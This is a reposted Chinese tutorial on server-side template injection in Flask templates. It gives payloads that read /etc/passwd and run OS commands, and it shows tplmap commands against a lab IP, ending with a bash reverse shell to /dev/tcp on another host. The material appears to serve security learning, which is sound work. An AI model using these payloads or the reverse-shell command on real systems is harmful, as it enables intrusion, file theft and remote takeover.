ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

SSTI(服务器端模板注入)

2021-02-26 13:01:22  阅读:268  来源: 互联网

标签:__ .__ 服务器端 tplmap __.__ SSTI 模板 python2


SSTI(服务器端模板注入)


0x01 简介

模板引擎允许开发人员使用带有动态元素的静态HTML页面。例如,静态配置文件.html一个模板引擎将允许开发人员设置一个用户名参数,该参数将始终设置为当前用户的用户名 服务器端模板注入是指用户能够传入一个参数,该参数可以控制服务器上运行的模板引擎。 例如:    这引入了一个漏洞,因为它允许黑客将模板代码注入网站。从XSS一直到RCE,其影响可能是毁灭性的。 注意:不同的模板引擎具有不同的注入有效负载,但是通常您可以使用{{2+2}}作为测试来测试SSTI。  

0x02 文件读取

以python的flask模板引擎为例 文件读取:{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}} {{ ''.__class__.__mro__[2].__subclasses__()[40]()(/etc/passwd).read()}}  

0x03 RCE

执行命令:{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}} {{config.__class__.__init__.__globals__['os'].popen(id).read()}}

0x04 Payload

SSTI各种payload参考 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection  

0x05 Tools-tplmap

利用工具: https://github.com/epinna/tplmap 注意:使用python2安装要求。python2 -m pip   根据请求方式不同,语法也有所不同 GET    tplmap -u <URL> /?<vulnparam> POST    tplmap -u <URL> -d'<vulnparam>'    

0x06 练习

0x01 验证漏洞

探测输入点是否存在SSTI   0x02 利用 使用tplmap对漏洞进行利用 python2 tplmap.py -u http://10.10.20.97 -d 'name'    执行命令 python2 tplmap.py -u http://10.10.20.97 -d 'name' --os-cmd "id"   0x03 GetShell 反弹Shell python2 tplmap.py -u http://10.10.20.97 -d 'name' --os-cmd "bash -c 'bash -i >&/dev/tcp/10.10.224.107/8888 0>&1'"    

标签:__,.__,服务器端,tplmap,__.__,SSTI,模板,python2
来源: https://blog.csdn.net/qq_44101248/article/details/114125057

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有